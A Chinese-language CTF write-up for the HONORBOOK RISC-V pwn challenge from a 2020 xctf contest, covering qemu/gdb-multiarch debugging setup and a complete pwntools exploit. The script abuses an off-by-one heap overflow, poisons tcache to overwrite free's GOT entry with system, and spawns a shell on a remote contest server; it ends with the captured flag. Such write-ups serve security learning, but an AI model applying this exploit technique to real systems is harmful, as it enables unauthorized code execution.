0%

xctf高校挑战赛2020-华为鲲鹏计算专场WP(pwn部分)

好耶,这次不是一堆阴间题,就两道,但是不妨碍👴不会做,但是这比赛时间挺阴间,👴周三全天满课,👴就把那HONORBOOK写写吧。

HONORBOOK

​ 拿到文件,给了👴lib库和qemu-riscv,彳亍。👴拖进7.5idasp3,发现ida⑧支持,github找的插件也⑧太好看,👴选择cutter(cutter,yyds!)。等👴光速学习了riscv汇编,发现👴是five只看汇编看⑧明白,害得调试调试。

​ 但是👴发现ubuntu的gdb-multiarch是没有riscv架构(debain有,debain,彳亍!),导致👴为了调试重新安了个debian虚拟机,第一次安的时候nt了导致👴之前白安了,👴又安了第二遍,👴终于成了,等👴安完gdb一看,大意了,pwndbg插件没有riscv架构,👴又换成peda,peda虽然有些功能8太能用,但比直接看gdb,👴的体验好了很多。

​ 这题👴比赛的时候nt了,看着汇编直接没看到offbyone,这波是👴的,那有了offbyone就直接可以开冲了,got表保护没开,pie保护没开,那👴就直接打got呗,libc2.27,有tcache,然后可以通过tcache打到got泄露libc基址,同时edit打free_got改成system获得shell。

关于怎么调试:
一个虚拟机用qemu运行程序,然后-g放在端口上

另一个debian虚拟机用gdb-multiarch,设置架构监听这端口,调就完事了,不知道堆地址,就直接断点看返回值就完事(另外👴建议在puts断点方便调试)。

1
2
gdb-peda$ set architecture riscv
gdb-peda$ target remote 192.168.243.130:1234

这题找到洞后就很舒服,可惜👴比赛的时候没找到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/python 
# -*- coding: utf-8 -*-

from pwn import *
import os
context.log_level = 'debug'
elf=ELF('./honorbook')
libc=ELF('./libs/lib/libc-2.27.so')
free_got=elf.got['free']
def gdb_attach():
os.system('xfce4-terminal -x sh -c "gdb-multiarch test_mips -ex \'target remote 127.0.0.1:1234\'"')
#p = process(['./qemu-riscv64','-L','./libs','-g','1234','./honorbook'])
p=remote('121.36.192.114','9999')
def add(id,name,msg):
p.sendlineafter('Code','1')
p.sendlineafter('ID',str(id))
p.sendafter('name',name)
p.sendafter('Msg',msg)
def free(id):
p.sendlineafter('Code','2')
p.sendlineafter('ID',str(id))
def show(id):
a=[]
p.sendlineafter('Code','3')
p.sendlineafter('ID',str(id))
p.recvuntil('Username: ')
name=p.recv(27)
print(name)
p.recvuntil('Msg: ')
msg=p.recvuntil('\n',drop=True)
print(msg)
a=[name,msg]
return a

def edit(id,msg):
p.sendlineafter('Code','4')
p.sendlineafter('Index',str(id))
p.sendafter('Msg',msg)

pause()
add(0,'a'*0x18,'b'*0x10+'\n')
add(1,'a'*0x18,'b'*0xb8+p64(0x31)+'\n')
for i in range(6):
add(i+2,'a'*0x18,'b'*0x10+'\n')
leak1=show(0)
heap_addr=u64(leak1[0][24:27].ljust(8,'\x00'))
print(hex(heap_addr))

free(0)
add(0,'a'*0x18,'c'*232+'\xf1')#use 1

for i in range(6):
free(i+2)
free(1)
#unsorted1
#0xf1 bins 7
#0x31 bins 6
'''
0x25f80: 0x6363636363636363 0x00000000000000f1
0x25f90: 0x0000004000aa79f8 0x0000004000aa79f8
0x25fa0: 0x6161616161616161 0x0000000000025fc0
0x25fb0: 0x0000000000000000 0x00000000000000f1
0x25fc0: 0x0000000000026680 0x6262626262626262

'''
for i in range(6):
add(i+2,str(i)*0x18,'b'*0x10+'\n')
add(1,'/bin/sh\x00'*3,'/bin/sh\x00'*2+'\n')#use

add(8,'8'*0x18,'f'*0x10+'\n')
edit(2,'2'*0x18+p64(free_got))
print(hex(free_got))
leak_2=show(8)
libc_addr=u64(leak_2[1][0:3].ljust(8,'\x00'))-libc.sym['free']
system=libc_addr+libc.sym['system']
print(hex(libc_addr))
print(hex(system))
edit(8,p64(system)[0:3])
free(1)

#0x31+0xf0
p.interactive()
#flag{1717ada2444b11ebb37d2146795b8990}
好饿啊,早知道不学安全了